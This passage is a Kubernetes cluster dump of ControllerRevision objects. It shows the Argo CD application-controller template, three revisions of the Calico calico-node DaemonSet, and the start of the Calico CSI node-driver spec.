            - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_COOLDOWN_SECONDS
              valueFrom:
                configMapKeyRef:
                  key: controller.self.heal.backoff.cooldown.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SYNC_TIMEOUT
              valueFrom:
                configMapKeyRef:
                  key: controller.sync.timeout.seconds
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
              valueFrom:
                configMapKeyRef:
                  key: controller.repo.server.plaintext
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_STRICT_TLS
              valueFrom:
                configMapKeyRef:
                  key: controller.repo.server.strict.tls
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_PERSIST_RESOURCE_HEALTH
              valueFrom:
                configMapKeyRef:
                  key: controller.resource.health.persist
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
              valueFrom:
                configMapKeyRef:
                  key: controller.app.state.cache.expiration
                  name: argocd-cmd-params-cm
                  optional: true
            - name: REDIS_SERVER
              valueFrom:
                configMapKeyRef:
                  key: redis.server
                  name: argocd-cmd-params-cm
                  optional: true
            - name: REDIS_COMPRESSION
              valueFrom:
                configMapKeyRef:
                  key: redis.compression
                  name: argocd-cmd-params-cm
                  optional: true
            - name: REDISDB
              valueFrom:
                configMapKeyRef:
                  key: redis.db
                  name: argocd-cmd-params-cm
                  optional: true
            - name: REDIS_USERNAME
              valueFrom:
                secretKeyRef:
                  key: redis-username
                  name: argocd-redis
                  optional: true
            - name: REDIS_PASSWORD
              valueFrom:
                secretKeyRef:
                  key: auth
                  name: argocd-redis
                  optional: false
            - name: REDIS_SENTINEL_USERNAME
              valueFrom:
                secretKeyRef:
                  key: redis-sentinel-username
                  name: argocd-redis
                  optional: true
            - name: REDIS_SENTINEL_PASSWORD
              valueFrom:
                secretKeyRef:
                  key: redis-sentinel-password
                  name: argocd-redis
                  optional: true
            - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
              valueFrom:
                configMapKeyRef:
                  key: controller.default.cache.expiration
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ADDRESS
              valueFrom:
                configMapKeyRef:
                  key: otlp.address
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_INSECURE
              valueFrom:
                configMapKeyRef:
                  key: otlp.insecure
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_HEADERS
              valueFrom:
                configMapKeyRef:
                  key: otlp.headers
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ATTRS
              valueFrom:
                configMapKeyRef:
                  key: otlp.attrs
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_NAMESPACES
              valueFrom:
                configMapKeyRef:
                  key: application.namespaces
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_CONTROLLER_SHARDING_ALGORITHM
              valueFrom:
                configMapKeyRef:
                  key: controller.sharding.algorithm
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_KUBECTL_PARALLELISM_LIMIT
              valueFrom:
                configMapKeyRef:
                  key: controller.kubectl.parallelism.limit
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_K8SCLIENT_RETRY_MAX
              valueFrom:
                configMapKeyRef:
                  key: controller.k8sclient.retry.max
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
              valueFrom:
                configMapKeyRef:
                  key: controller.k8sclient.retry.base.backoff
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_SERVER_SIDE_DIFF
              valueFrom:
                configMapKeyRef:
                  key: controller.diff.server.side
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_IGNORE_NORMALIZER_JQ_TIMEOUT
              valueFrom:
                configMapKeyRef:
                  key: controller.ignore.normalizer.jq.timeout
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_HYDRATOR_ENABLED
              valueFrom:
                configMapKeyRef:
                  key: hydrator.enabled
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_CLUSTER_CACHE_BATCH_EVENTS_PROCESSING
              valueFrom:
                configMapKeyRef:
                  key: controller.cluster.cache.batch.events.processing
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_CLUSTER_CACHE_EVENTS_PROCESSING_INTERVAL
              valueFrom:
                configMapKeyRef:
                  key: controller.cluster.cache.events.processing.interval
                  name: argocd-cmd-params-cm
                  optional: true
            - name: ARGOCD_APPLICATION_CONTROLLER_COMMIT_SERVER
              valueFrom:
                configMapKeyRef:
                  key: commit.server
                  name: argocd-cmd-params-cm
                  optional: true
            - name: KUBECACHEDIR
              value: /tmp/kubecache
            image: quay.io/argoproj/argocd:v3.1.6
            imagePullPolicy: IfNotPresent
            name: application-controller
            ports:
            - containerPort: 8082
              name: metrics
              protocol: TCP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /healthz
                port: metrics
                scheme: HTTP
              initialDelaySeconds: 10
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              readOnlyRootFilesystem: true
              runAsNonRoot: true
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /app/config/controller/tls
              name: argocd-repo-server-tls
            - mountPath: /home/argocd
              name: argocd-home
            - mountPath: /home/argocd/params
              name: argocd-cmd-params-cm
            - mountPath: /tmp
              name: argocd-application-controller-tmp
            workingDir: /home/argocd
          dnsPolicy: ClusterFirst
          nodeSelector:
            kubernetes.io/os: linux
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: argocd-application-controller
          serviceAccountName: argocd-application-controller
          terminationGracePeriodSeconds: 30
          volumes:
          - emptyDir: {}
            name: argocd-home
          - emptyDir: {}
            name: argocd-application-controller-tmp
          - name: argocd-repo-server-tls
            secret:
              defaultMode: 420
              items:
              - key: tls.crt
                path: tls.crt
              - key: tls.key
                path: tls.key
              - key: ca.crt
                path: ca.crt
              optional: true
              secretName: argocd-repo-server-tls
          - configMap:
              defaultMode: 420
              items:
              - key: controller.profile.enabled
                path: profiler.enabled
              name: argocd-cmd-params-cm
              optional: true
            name: argocd-cmd-params-cm
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:19Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      controller.kubernetes.io/hash: 6cd48b7869
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller-6cd48b7869
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: argocd-application-controller
      uid: eef4bb42-0f97-46e9-9ec8-b985fff33c88
    resourceVersion: "75048"
    uid: edc6b4c6-b411-45e2-8afc-176551e0c6bf
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
            hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
            tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          creationTimestamp: null
          labels:
            app.kubernetes.io/name: calico-node
            k8s-app: calico-node
        spec:
          containers:
          - env:
            - name: DATASTORE_TYPE
              value: kubernetes
            - name: WAIT_FOR_DATASTORE
              value: "true"
            - name: CLUSTER_TYPE
              value: k8s,operator,bgp
            - name: CALICO_DISABLE_FILE_LOGGING
              value: "false"
            - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
              value: ACCEPT
            - name: FELIX_HEALTHENABLED
              value: "true"
            - name: FELIX_HEALTHPORT
              value: "9099"
            - name: NODENAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            - name: NAMESPACE
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.namespace
            - name: FELIX_TYPHAK8SNAMESPACE
              value: calico-system
            - name: FELIX_TYPHAK8SSERVICENAME
              value: calico-typha
            - name: FELIX_TYPHACAFILE
              value: /etc/pki/tls/certs/tigera-ca-bundle.crt
            - name: FELIX_TYPHACERTFILE
              value: /node-certs/tls.crt
            - name: FELIX_TYPHAKEYFILE
              value: /node-certs/tls.key
            - name: NO_DEFAULT_POOLS
              value: "true"
            - name: FELIX_FLOWLOGSGOLDMANESERVER
              value: goldmane.calico-system.svc:7443
            - name: FELIX_FLOWLOGSFLUSHINTERVAL
              value: "15"
            - name: FELIX_TYPHACN
              value: typha-server
            - name: CALICO_MANAGE_CNI
              value: "true"
            - name: FELIX_VXLANMTU
              value: "0"
            - name: FELIX_WIREGUARDMTU
              value: "0"
            - name: CALICO_NETWORKING_BACKEND
              value: bird
            - name: FELIX_IPINIPMTU
              value: "0"
            - name: IP
              value: autodetect
            - name: IP_AUTODETECTION_METHOD
              value: first-found
            - name: IP6
              value: none
            - name: FELIX_IPV6SUPPORT
              value: "false"
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/node:v3.30.4
            imagePullPolicy: IfNotPresent
            lifecycle:
              preStop:
                exec:
                  command:
                  - /bin/calico-node
                  - -shutdown
            livenessProbe:
              failureThreshold: 3
              httpGet:
                host: localhost
                path: /liveness
                port: 9099
                scheme: HTTP
              periodSeconds: 60
              successThreshold: 1
              timeoutSeconds: 10
            name: calico-node
            readinessProbe:
              exec:
                command:
                - /bin/calico-node
                - -bird-ready
                - -felix-ready
              failureThreshold: 3
              periodSeconds: 30
              successThreshold: 1
              timeoutSeconds: 10
            resources:
              requests:
                cpu: 250m
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/log/calico/cni
              name: cni-log-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
            - mountPath: /lib/modules
              name: lib-modules
              readOnly: true
            - mountPath: /node-certs
              name: node-certs
              readOnly: true
            - mountPath: /var/run/nodeagent
              name: policysync
            - mountPath: /etc/pki/tls/certs
              name: tigera-ca-bundle
              readOnly: true
            - mountPath: /etc/pki/tls/cert.pem
              name: tigera-ca-bundle
              readOnly: true
              subPath: ca-bundle.crt
            - mountPath: /var/lib/calico
              name: var-lib-calico
            - mountPath: /var/run/calico
              name: var-run-calico
            - mountPath: /run/xtables.lock
              name: xtables-lock
          dnsPolicy: Default
          hostAliases:
          - hostnames:
            - goldmane.calico-system.svc
            ip: 10.110.195.55
          hostNetwork: true
          initContainers:
          - command:
            - /opt/cni/bin/install
            env:
            - name: CNI_CONF_NAME
              value: 10-calico.conflist
            - name: SLEEP
              value: "false"
            - name: CNI_NET_DIR
              value: /etc/cni/net.d
            - name: CNI_NETWORK_CONFIG
              valueFrom:
                configMapKeyRef:
                  key: config
                  name: cni-config
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/cni:v3.30.4
            imagePullPolicy: IfNotPresent
            name: install-cni
            resources: {}
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /host/opt/cni/bin
              name: cni-bin-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
          nodeSelector:
            kubernetes.io/os: linux
          priorityClassName: system-node-critical
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: calico-node
          serviceAccountName: calico-node
          terminationGracePeriodSeconds: 5
          tolerations:
          - key: CriticalAddonsOnly
            operator: Exists
          - effect: NoSchedule
            operator: Exists
          - effect: NoExecute
            operator: Exists
          volumes:
          - hostPath:
              path: /opt/cni/bin
              type: DirectoryOrCreate
            name: cni-bin-dir
          - hostPath:
              path: /var/log/calico/cni
              type: ""
            name: cni-log-dir
          - hostPath:
              path: /etc/cni/net.d
              type: ""
            name: cni-net-dir
          - hostPath:
              path: /lib/modules
              type: ""
            name: lib-modules
          - name: node-certs
            secret:
              defaultMode: 420
              secretName: node-certs
          - hostPath:
              path: /var/run/nodeagent
              type: DirectoryOrCreate
            name: policysync
          - configMap:
              defaultMode: 420
              name: tigera-ca-bundle
            name: tigera-ca-bundle
          - hostPath:
              path: /var/lib/calico
              type: DirectoryOrCreate
            name: var-lib-calico
          - hostPath:
              path: /var/run/calico
              type: DirectoryOrCreate
            name: var-run-calico
          - hostPath:
              path: /run/xtables.lock
              type: FileOrCreate
            name: xtables-lock
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "3"
    creationTimestamp: "2025-10-19T16:26:56Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
    name: calico-node-54cf9464f
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "6825356"
    uid: 826ab76b-d322-4ce0-8bcd-8f03852d1385
  revision: 3
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
            hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
            tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          creationTimestamp: null
          labels:
            app.kubernetes.io/name: calico-node
            k8s-app: calico-node
        spec:
          containers:
          - env:
            - name: DATASTORE_TYPE
              value: kubernetes
            - name: WAIT_FOR_DATASTORE
              value: "true"
            - name: CLUSTER_TYPE
              value: k8s,operator,bgp
            - name: CALICO_DISABLE_FILE_LOGGING
              value: "false"
            - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
              value: ACCEPT
            - name: FELIX_HEALTHENABLED
              value: "true"
            - name: FELIX_HEALTHPORT
              value: "9099"
            - name: NODENAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            - name: NAMESPACE
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.namespace
            - name: FELIX_TYPHAK8SNAMESPACE
              value: calico-system
            - name: FELIX_TYPHAK8SSERVICENAME
              value: calico-typha
            - name: FELIX_TYPHACAFILE
              value: /etc/pki/tls/certs/tigera-ca-bundle.crt
            - name: FELIX_TYPHACERTFILE
              value: /node-certs/tls.crt
            - name: FELIX_TYPHAKEYFILE
              value: /node-certs/tls.key
            - name: NO_DEFAULT_POOLS
              value: "true"
            - name: FELIX_TYPHACN
              value: typha-server
            - name: CALICO_MANAGE_CNI
              value: "true"
            - name: FELIX_VXLANMTU
              value: "0"
            - name: FELIX_WIREGUARDMTU
              value: "0"
            - name: CALICO_NETWORKING_BACKEND
              value: bird
            - name: FELIX_IPINIPMTU
              value: "0"
            - name: IP
              value: autodetect
            - name: IP_AUTODETECTION_METHOD
              value: first-found
            - name: IP6
              value: none
            - name: FELIX_IPV6SUPPORT
              value: "false"
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/node:v3.30.4
            imagePullPolicy: IfNotPresent
            lifecycle:
              preStop:
                exec:
                  command:
                  - /bin/calico-node
                  - -shutdown
            livenessProbe:
              failureThreshold: 3
              httpGet:
                host: localhost
                path: /liveness
                port: 9099
                scheme: HTTP
              periodSeconds: 60
              successThreshold: 1
              timeoutSeconds: 10
            name: calico-node
            readinessProbe:
              exec:
                command:
                - /bin/calico-node
                - -bird-ready
                - -felix-ready
              failureThreshold: 3
              periodSeconds: 30
              successThreshold: 1
              timeoutSeconds: 10
            resources:
              requests:
                cpu: 250m
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/log/calico/cni
              name: cni-log-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
            - mountPath: /lib/modules
              name: lib-modules
              readOnly: true
            - mountPath: /node-certs
              name: node-certs
              readOnly: true
            - mountPath: /var/run/nodeagent
              name: policysync
            - mountPath: /etc/pki/tls/certs
              name: tigera-ca-bundle
              readOnly: true
            - mountPath: /etc/pki/tls/cert.pem
              name: tigera-ca-bundle
              readOnly: true
              subPath: ca-bundle.crt
            - mountPath: /var/lib/calico
              name: var-lib-calico
            - mountPath: /var/run/calico
              name: var-run-calico
            - mountPath: /run/xtables.lock
              name: xtables-lock
          dnsPolicy: Default
          hostNetwork: true
          initContainers:
          - command:
            - /opt/cni/bin/install
            env:
            - name: CNI_CONF_NAME
              value: 10-calico.conflist
            - name: SLEEP
              value: "false"
            - name: CNI_NET_DIR
              value: /etc/cni/net.d
            - name: CNI_NETWORK_CONFIG
              valueFrom:
                configMapKeyRef:
                  key: config
                  name: cni-config
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/cni:v3.30.4
            imagePullPolicy: IfNotPresent
            name: install-cni
            resources: {}
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /host/opt/cni/bin
              name: cni-bin-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
          nodeSelector:
            kubernetes.io/os: linux
            projectcalico.org/operator-node-migration: migrated
          priorityClassName: system-node-critical
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: calico-node
          serviceAccountName: calico-node
          terminationGracePeriodSeconds: 5
          tolerations:
          - key: CriticalAddonsOnly
            operator: Exists
          - effect: NoSchedule
            operator: Exists
          - effect: NoExecute
            operator: Exists
          volumes:
          - hostPath:
              path: /opt/cni/bin
              type: DirectoryOrCreate
            name: cni-bin-dir
          - hostPath:
              path: /var/log/calico/cni
              type: ""
            name: cni-log-dir
          - hostPath:
              path: /etc/cni/net.d
              type: ""
            name: cni-net-dir
          - hostPath:
              path: /lib/modules
              type: ""
            name: lib-modules
          - name: node-certs
            secret:
              defaultMode: 420
              secretName: node-certs
          - hostPath:
              path: /var/run/nodeagent
              type: DirectoryOrCreate
            name: policysync
          - configMap:
              defaultMode: 420
              name: tigera-ca-bundle
            name: tigera-ca-bundle
          - hostPath:
              path: /var/lib/calico
              type: DirectoryOrCreate
            name: var-lib-calico
          - hostPath:
              path: /var/run/calico
              type: DirectoryOrCreate
            name: var-run-calico
          - hostPath:
              path: /run/xtables.lock
              type: FileOrCreate
            name: xtables-lock
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
    creationTimestamp: "2025-10-19T16:12:26Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 58bb988fc4
      k8s-app: calico-node
    name: calico-node-58bb988fc4
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "6821123"
    uid: e2abf138-9c45-4f12-9624-10e71d206590
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
            hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
            tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          creationTimestamp: null
          labels:
            app.kubernetes.io/name: calico-node
            k8s-app: calico-node
        spec:
          containers:
          - env:
            - name: DATASTORE_TYPE
              value: kubernetes
            - name: WAIT_FOR_DATASTORE
              value: "true"
            - name: CLUSTER_TYPE
              value: k8s,operator,bgp
            - name: CALICO_DISABLE_FILE_LOGGING
              value: "false"
            - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
              value: ACCEPT
            - name: FELIX_HEALTHENABLED
              value: "true"
            - name: FELIX_HEALTHPORT
              value: "9099"
            - name: NODENAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            - name: NAMESPACE
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: metadata.namespace
            - name: FELIX_TYPHAK8SNAMESPACE
              value: calico-system
            - name: FELIX_TYPHAK8SSERVICENAME
              value: calico-typha
            - name: FELIX_TYPHACAFILE
              value: /etc/pki/tls/certs/tigera-ca-bundle.crt
            - name: FELIX_TYPHACERTFILE
              value: /node-certs/tls.crt
            - name: FELIX_TYPHAKEYFILE
              value: /node-certs/tls.key
            - name: NO_DEFAULT_POOLS
              value: "true"
            - name: FELIX_TYPHACN
              value: typha-server
            - name: CALICO_MANAGE_CNI
              value: "true"
            - name: FELIX_VXLANMTU
              value: "0"
            - name: FELIX_WIREGUARDMTU
              value: "0"
            - name: CALICO_NETWORKING_BACKEND
              value: bird
            - name: FELIX_IPINIPMTU
              value: "0"
            - name: IP
              value: autodetect
            - name: IP_AUTODETECTION_METHOD
              value: first-found
            - name: IP6
              value: none
            - name: FELIX_IPV6SUPPORT
              value: "false"
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/node:v3.30.4
            imagePullPolicy: IfNotPresent
            lifecycle:
              preStop:
                exec:
                  command:
                  - /bin/calico-node
                  - -shutdown
            livenessProbe:
              failureThreshold: 3
              httpGet:
                host: localhost
                path: /liveness
                port: 9099
                scheme: HTTP
              periodSeconds: 60
              successThreshold: 1
              timeoutSeconds: 10
            name: calico-node
            readinessProbe:
              exec:
                command:
                - /bin/calico-node
                - -bird-ready
                - -felix-ready
              failureThreshold: 3
              periodSeconds: 30
              successThreshold: 1
              timeoutSeconds: 10
            resources:
              requests:
                cpu: 250m
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/log/calico/cni
              name: cni-log-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
            - mountPath: /lib/modules
              name: lib-modules
              readOnly: true
            - mountPath: /node-certs
              name: node-certs
              readOnly: true
            - mountPath: /var/run/nodeagent
              name: policysync
            - mountPath: /etc/pki/tls/certs
              name: tigera-ca-bundle
              readOnly: true
            - mountPath: /etc/pki/tls/cert.pem
              name: tigera-ca-bundle
              readOnly: true
              subPath: ca-bundle.crt
            - mountPath: /var/lib/calico
              name: var-lib-calico
            - mountPath: /var/run/calico
              name: var-run-calico
            - mountPath: /run/xtables.lock
              name: xtables-lock
          dnsPolicy: Default
          hostNetwork: true
          initContainers:
          - command:
            - /opt/cni/bin/install
            env:
            - name: CNI_CONF_NAME
              value: 10-calico.conflist
            - name: SLEEP
              value: "false"
            - name: CNI_NET_DIR
              value: /etc/cni/net.d
            - name: CNI_NETWORK_CONFIG
              valueFrom:
                configMapKeyRef:
                  key: config
                  name: cni-config
            - name: KUBERNETES_SERVICE_HOST
              value: 10.96.0.1
            - name: KUBERNETES_SERVICE_PORT
              value: "443"
            image: quay.io/calico/cni:v3.30.4
            imagePullPolicy: IfNotPresent
            name: install-cni
            resources: {}
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /host/opt/cni/bin
              name: cni-bin-dir
            - mountPath: /host/etc/cni/net.d
              name: cni-net-dir
          nodeSelector:
            kubernetes.io/os: linux
          priorityClassName: system-node-critical
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: calico-node
          serviceAccountName: calico-node
          terminationGracePeriodSeconds: 5
          tolerations:
          - key: CriticalAddonsOnly
            operator: Exists
          - effect: NoSchedule
            operator: Exists
          - effect: NoExecute
            operator: Exists
          volumes:
          - hostPath:
              path: /opt/cni/bin
              type: DirectoryOrCreate
            name: cni-bin-dir
          - hostPath:
              path: /var/log/calico/cni
              type: ""
            name: cni-log-dir
          - hostPath:
              path: /etc/cni/net.d
              type: ""
            name: cni-net-dir
          - hostPath:
              path: /lib/modules
              type: ""
            name: lib-modules
          - name: node-certs
            secret:
              defaultMode: 420
              secretName: node-certs
          - hostPath:
              path: /var/run/nodeagent
              type: DirectoryOrCreate
            name: policysync
          - configMap:
              defaultMode: 420
              name: tigera-ca-bundle
            name: tigera-ca-bundle
          - hostPath:
              path: /var/lib/calico
              type: DirectoryOrCreate
            name: var-lib-calico
          - hostPath:
              path: /var/run/calico
              type: DirectoryOrCreate
            name: var-run-calico
          - hostPath:
              path: /run/xtables.lock
              type: FileOrCreate
            name: xtables-lock
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "2"
    creationTimestamp: "2025-10-19T16:24:42Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: c4f775fc6
      k8s-app: calico-node
    name: calico-node-c4f775fc6
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "6824686"
    uid: 76be6e78-12d4-4f10-aaff-85570bcb94c5
  revision: 2
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app.kubernetes.io/name: csi-node-driver
            k8s-app: csi-node-driver
            name: csi-node-driver
        spec:
          containers:
          - args:
            - --nodeid=$(KUBE_NODE_NAME)
            - --loglevel=$(LOG_LEVEL)
            env:
            - name: LOG_LEVEL
              value: warn
            - name: KUBE_NODE_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            image: quay.io/calico/csi:v3.30.4
            imagePullPolicy: IfNotPresent
            name: calico-csi
            resources: {}
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/kubelet
              mountPropagation: Bidirectional
              name: kubelet-dir
            - mountPath: /csi
              name: socket-dir
            - mountPath: /var/run
              name: varrun
          - args:
            - --v=5
            - --csi-address=$(ADDRESS)
            - --kubelet-registration-path=$(DRIVER_REG_SOCK_PATH)
            env:
            - name: ADDRESS
              value: /csi/csi.sock
            - name: DRIVER_REG_SOCK_PATH
              value: /var/lib/kubelet/plugins/csi.tigera.io/csi.sock
            - name: KUBE_NODE_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            image: quay.io/calico/node-driver-registrar:v3.30.4
            imagePullPolicy: IfNotPresent
            name: csi-node-driver-registrar
            resources: {}
            securityContext:
              allowPrivilegeEscalation: true
              capabilities:
                drop:
                - ALL
              privileged: true
              runAsGroup: 0
              runAsNonRoot: false
              runAsUser: 0
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /registration
              name: registration-dir
            - mountPath: /csi
              name: socket-dir
          dnsPolicy: ClusterFirst
          nodeSelector:
            kubernetes.io/os: linux
          priorityClassName: system-node-critical
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: csi-node-driver
          serviceAccountName: csi-node-driver
          terminationGracePeriodSeconds: 30
          tolerations:
          - key: CriticalAddonsOnly
            operator: Exists
          - effect: NoSchedule
            operator: Exists
          - effect: NoExecute
            operator: Exists
          volumes:
          - hostPath:
              path: /var/lib/kubelet
